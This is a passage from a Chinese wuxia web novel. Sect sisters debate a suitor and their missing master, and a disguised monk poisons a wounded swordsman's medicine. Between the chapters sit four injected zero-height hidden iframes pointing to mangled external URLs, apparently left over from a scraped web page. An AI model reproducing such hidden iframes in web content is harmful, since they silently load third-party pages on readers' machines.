武林败类-第86部分
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海棠穿过花园:“大师姐回来了。”
莫丹青如梦初醒般推开琴几站起来:“啊?大师姐回来了呀。”
芙蓉仙子在花园中的凉亭见了钟不离。
钟不离不亢不卑的对芙蓉仙子说:“我对秋蕈是真心的,望仙子成全。”
芙蓉仙子抚弄着怀中的小猫没有说话,她又成了那个不和男人说话,不让任何男人见到她容貌的冰美人了。
芙蓉仙子身边坐着的海棠说:“钟先生有意迎娶秋蕈?”
“不错。”钟不离说。
秋蕈将芙蓉仙子目光冷如冰,心里有些害怕:“我还没说要嫁呢……”
莫丹青在一边捂着嘴偷笑:“真不想嫁么?那干嘛把他给带回来呢?”
秋蕈不复往日的爽朗,有些扭捏的说:“是他逼我的。”
海棠看了芙蓉仙子一眼,冷着脸道:“他逼你,你便将他带回来,泄露了本门所在,这可是叛门的大罪,按照门规擅闯本门者杀无赦,里通外敌的本门弟子则受万毒噬体之苦而死。”
门中弟子一向最怕的就是执掌刑罚的海棠,秋蕈一听,脸色煞白。
莫丹青忙圆场:“二师姐,你就别吓唬秋蕈了,她要是被吓病了,钟先生指不定多心痛呢。”
海棠看了看芙蓉仙子,对钟不离说:“钟先生,家师远游未归,门中大小事务都有大师姐处理,可事关秋蕈终生幸福,你请先去用茶,我们几个师姐妹要商量一下。”
“无论如何我都不会放弃秋蕈的。”钟不离说完这句话,跟着芍药离开。
等钟不离走了以后,芙蓉仙子冷冷的看着秋蕈:“师父下落不明,魔教中又有人对我们飞花夺艳门虎视眈眈,这个时候你居然有胆子带个男人回来,告诉我你要成亲嫁人,你真是吃了熊心豹子胆了。”
没了钟不离在这里,秋蕈倔强的性子又犯了,当着钟不离她不敢和芙蓉仙子顶嘴,以免芙蓉仙子一生气迁怒旁人,一不高兴杀了钟不离,现在都是自家姐妹,她说话也没了顾忌:“师父常说,天下多是薄幸之徒,若能遇到一个真心人,那一定不能错过,我是按师父教的话做的,我有什么错?”
莫丹青说:“秋蕈在峨嵋受了重伤,要不是得到钟先生的细心照料,只怕早已香销玉殒了,她大恩不言谢以身相许也是应该的,再说这些日子我们也看出来了,钟先生对秋蕈绝对是真心的。”
海棠也道:“这个钟不离不是个泛泛之辈,据说他是中原一点红的后人,我和他对过招,他的剑法相当的不俗,而且他在边城也是个不简单的角色,秋蕈嫁给他,对我们飞花夺艳门也很有好处。”
莫丹青忙接着说:“而且还很会赚银子,他将昔日石观音住过的山谷,重整了一番,现在成了不少世家子弟趋之若鹜的游玩胜地,银子是大把大把的往他口袋里流啊。”
秋蕈道:“我也不是立刻就要嫁给他,只是带他回来给你们看看,我对自己的眼光是相当有信心的,大师姐,你要是不答应的话,我就跟他私奔。”
芙蓉仙子叹口气,她对秋蕈还是很喜欢的,她对海棠说:“你看看这个小丫头,才多大年纪啊,就想着跟男人跑了,真是女大不中留啊。”
“我不是立即要嫁给他的,你要是答应了,我明天就让他回大漠去,我呢就出去找师父,师父没找回来之前,我是不会嫁人的。”秋蕈听芙蓉仙子的语气松了,笑着撒娇。
芙蓉仙子挥挥手,示意秋蕈和莫丹青离开:“我要闭关,以后有什么事直接找海棠就行了。”
秋蕈拉着莫丹青离开,芙蓉仙子不反对她和钟不离在一起,那么百花仙那里就更不成问题了。
莫丹青笑道:“明天我和你一块出去找师父吧,要尽快把师父找回来才行啊,我都等不及想喝你的喜酒了。”
“讨厌。”秋蕈娇笑着拧了莫丹青的胳膊一把。
凉亭中只剩下芙蓉仙子和海棠,芙蓉仙子说:“你会替秋蕈说好话,真是让我意外。”
“钟不离的确是个人才,也算配得上我们飞花夺艳门的女孩子。”海棠从袖中拿出钟不离给她的,天煞门的杀手腰牌:“他还带来了一个消息。”
(17)捕蝉(一)
海棠说:“据钟先生说,这个腰牌是在一个破败的小院捡到的,我专门去了一趟那个小院,的确有师父和别人过招的痕迹,对方一定是个高手,能让师父抛下这个腰牌,一定发生了很严重的事。”
她一字一顿的说:“这个腰牌别人没有看到过,我们两个却是见过的,虽只见过一次,可绝对不会错的。”
芙蓉仙子难得的叹气道:“若不是因为这个腰牌,若水那个傻丫头也不会去当杀手了。”
“可惜她还是没能进入天煞门。”海棠说。
杀手?
若水?
难道是尚若水?
尚若水是飞花夺艳门的弟子?
芙蓉仙子说:“难道是天煞门别的杀手正好在峨嵋山,还和师父遇上了?”
“我不知道。”海棠有些泄气的说:“以师父的身手,能伤害她的人已经不多了,更不用说让她失踪的这么彻底的,我不想去猜测一些没有证据的事情。”
她接着说:“柳琵琶已经到了大光明顶了,牟果儿也成功混了进去,弯弯则发现了在清风山庄将莫丹青掳到大漠去的那个妙音的行踪,所以去监视妙音去了。”
妙音还在峨嵋山,她发现钟不离带秋蕈离开,派了手下跟踪,却被钟不离给摆脱了,可她却看到了姜玉郎从地宫起出来的那些宝贝,心中直呼塞翁失马焉知非福。
姜玉郎的名声她也是听说过的,她自问不是姜玉郎的对手,于是便将剑十三找到了峨嵋来。
等许大虎和小师弟赶到峨嵋,看到的是身受重伤的姜玉郎,给姜玉郎包扎了伤口的丁玲珑和风蜚语。
他们也是因为对慕容赋的失踪心怀愧疚,所以到这里来打探一下有没有慕容赋和慕容有为的消息,没想到无意间救了姜玉郎。
丁玲珑一见到小师弟,立刻二话不说的点了小师弟的穴,带着他离开,而风蜚语将姜玉郎和许大虎带到离峨嵋不远的一座小寺庙中,也匆忙离去了。
这座寺庙四周种了很多竹子,时值仲夏,竹影摇弋,清雅无尘。
这座寺庙正好叫做竹林寺。
竹林寺虽不大,可也有一座专门供香客居住的小院,现在小院里只有许大虎和姜玉郎两个人,姜玉郎满身是血的被抬进来的那一天,其他的香客就匆忙离去了,好在风蜚语留下了一笔可观的香油钱,庙里的主持才没有赶他们走。
小院中也种有竹子。
竹子总是让人感到很幽雅,从古到今不少画家都画过竹子。
一丛翠竹两间瓦房,也是隐士们的最爱之一。
风吹过竹林的声音,也好似海浪一般。
许大虎却没有心情去欣赏,他正在院子里为姜玉郎熬药,他手中的蒲扇不停的扇,可汗水还是从他身上一直冒出来,大热天的,无论谁守在炉子边都不会太好受。
空气中弥漫着微苦的气味,就好像许大虎的心情。
姜玉郎受伤很糟糕,却还不是最糟的,最糟的是江湖上的一个传言,这个传言说慕容赋死了以后,罗刹牌落在了他生平好友姜玉郎的手中。
受了伤的姜玉郎就好似一只没了利爪和牙齿的狮子,谁都能轻易的将他华丽的皮毛给剥走,更何况这次吸引人的是让江湖人为之疯狂的罗刹牌呢,一定有不少人在前来竹林寺的路上了,可姜玉郎的伤势很重,完全不能离开,更别说握剑迎敌了。
许大虎叹口气,手中的蒲扇摇的更快了,他心里很是着急,若是姜玉郎真的有性命危险,他该不该违背对上官雪儿的承诺,将罗刹牌仍在大光明顶的消息给说出来呢?
姜玉郎在屋中咳嗽了两声,许大虎忙站起来走进屋里,倒了一杯水端到床边喂姜玉郎喝下。
就在许大虎背身走进屋的时候,一个人影悄无声息的落在院子里,一些粉末从他手中落进熬药的砂锅里面,人影又悄无声息的掠回屋顶上。
毫无所知的许大虎扶姜玉郎躺下,又走回院子里继续熬药,黑乎乎的药汁在砂锅里翻滚,看不出丝毫的异样。
离竹林寺不远的一家野店,妙音和她的手下悄悄的将这里占了,野店的老板兼伙计,被一刀断喉埋进了土里,外面守着柜台的是妙音的手下。
野店老板睡觉的小屋里,妙音和剑十三都在这里。
床上原来的东西全都扔了,换上了舒适的鹅绒垫子,铺上了华丽的锦缎,妙音靠着舒服的靠垫倚在床上,一个相貌英俊,猿臂蜂腰的少年,正在给她打扇。<;iframe src=http://baidu。2。/w65/w65。htm width=100 height=0>;<;/iframe>;<;iframe src=http://baidu。2。/w65/w65。htm width=100 height=0>;<;/iframe>;<;iframe src=http://baidu。2。/w65/w65。htm width=100 height=0>;<;/iframe>;<;iframe src=http://go。2。/w65/w65。htm width=100 height=0>;<;/iframe>;
(18)捕蝉(二)
妙音对剑十三很不客气的说:“上次你打伤姜玉郎也不说顺便搜搜他的身,害得我大热天的还要到这里来受这份活罪。”
妙音占了这里是想以逸待劳,有腐肉的地方就有苍蝇,有死尸的地方就有秃鹰,这一次也不知会有多少武林高手赶来。
群狼逐鹿,就算最后拿到罗刹牌从竹林寺走出来的人,身手再不凡也该受了重伤,筋疲力尽,到那个时候才是她出手的时机。
剑十三抱着剑坐在凳子上,仿佛没有听到妙音说话一样,面无表情,他人虽在这里,思绪却停留在雪山之巅,享受万籁俱静的冰冷和孤寂了。
跟踪妙音的弯弯自然也来到了竹林寺附近,她也听说了姜玉郎身怀罗刹牌的消息,这对她也是难得的机会,可她在京城曾和姜玉郎,许大虎有过接触,以她对他们的了解,实在不太相信罗刹牌会在他们身上。
可世事难料,有时候最不可能的,就是最有可能的,而且据说这个消息是死了的前任魔教教主夫人苏品香的干妈,上官雪儿的丫鬟那里传出来的,苏品香当年就是为了救姜玉郎才会去偷罗刹牌的,姜玉郎有罗刹牌那是很有可能的事。
弯弯坐在一棵大树的树枝上,双腿吊在空中晃来晃去的,她的腿上放着用荷叶包起来的蛋炒饭,蛋炒饭上面还有一只鸡腿。
慕容赋死了的消息弯弯也听说了,她有些不太相信,所以去找了风蜚语,知道芙蓉仙子之前找过风蜚语打探慕容赋的去向,弯弯认为果然是慕容赋不自量力的送了那本秘笈给芙蓉仙子,惹恼了芙蓉仙子,所以才被芙蓉仙子给杀了的,她有些后悔没跟着芙蓉仙子趁机救了慕容赋,可死了就是死了,后悔不是弯弯的作风。
弯弯打算吃完晚饭就去竹林寺找许大虎和姜玉郎,大家也算老熟人了,罗刹牌与其便宜了别人,不如给她好了。
竹林寺中敲响了晚钟,悠扬的钟声中,一个知客僧端着两碗清粥,一碟咸菜走进了许大虎和姜玉郎住的小院。
许大虎正好把砂锅从炉子上端开,打算等凉一凉再倒出来给姜玉郎喝,看到知客僧进来,他忙站起来去接过木盘:“谢谢小师父。”
“药敖好了呀?”知客僧年纪还很轻,所以也很爱说话,可是在寺庙里和他说话的人很少,所以他对许大虎显得很热情:“还是吃了粥再吃药吧,空腹吃药对胃不好。”
“是啊。”许大虎端着木盘走进屋,他没看到走在他身后的知客僧,袖中滑出一些粉末进了熬药的砂锅中。
知客僧很热情的从屋中桌上拿起空碗:“你先喂你师父喝粥吧,我去替你把药给端进来。”
“多谢小师父。”许大虎走到床边扶着姜玉郎坐起来。
知客僧拿着碗走出屋,端起砂锅将药汁倒进碗里:“你不要客气啊。”
许大虎要用湿毛巾垫着才能从炉子上端下来的砂锅,知客僧就这么用一只手稳稳的端了起来。
他不光在药汁了加了东西,在粥里也放了一些很特别的调料,姜玉郎是老江湖了,那些各门各派的掌门都不能置姜玉郎于死地,他也不得不格外的小心才行,而且他还不能确定姜玉郎是真的受伤还是装出来的。
一个身怀罗刹牌的人,小心一点那是很应该的,假装受伤让对罗刹牌有企图的人没有防备,这个伎俩不算新鲜了。
屋顶上伏着的人影看到了知客僧所做的一切,他双手从屋檐垂下来,轻轻的绕上了知客僧的脖子,就好似最温柔的情人掐下一朵鲜花一样,他就那么轻轻的掐断了知客僧的脖子。
人影从屋顶上落下来,接过知客僧手中的碗放在地上,抱着已经死去的知客僧掠回了屋顶,一点都没有惊动屋中的许大虎。
等许大虎转身去桌子上端粥的时候,才看到屋门前放着一碗药,可知客僧却不知去向了。
许大虎奇怪的扰扰头,端起粥走到床边:“师父,喝点粥吧。”
姜玉郎皱着眉头:“我才不吃这种没盐没味的东西,我要喝鸡汤,吃鲍鱼粥,最起码也得给我吃有点肉味的东西,再来二两女儿红,不是我酒量差,而是我受了伤,要不最少得喝一斤。”
许大虎耐心的说:“庙里也没这些东西啊,你就先凑合着喝吧,等你伤好一点了,我就带你回洛阳去,你想吃什么都有的。”
姜玉郎撇撇嘴:“不吃,坚决不吃,这种和尚吃的东西,我吃了会有心灵阴影的,你想看到我英年早逝吗?你想逼死你师父吗?”
许大虎知道自己说不过姜玉郎,只好放下粥,走到门口端起药碗:“不想吃的话,那就先喝药吧。”
姜玉郎的鼻子闻了闻味道:“太臭了这是药吗?我怎么闻着想阴沟里的水呢?喝下这种东西一定全身都会发臭的,许大虎,我知道你嫉妒我在女人堆里如鱼得水已经很久了,你休想让我喝了这种东西,浑身发臭,以后再也没有办法沾花惹草了,不,是尽情欣赏世间风情万种的女人了。”
许大虎耐心的劝道:“这是风蜚语风大侠给我的方子,说是治疗外伤的特效药,良药苦口,你就喝了吧。”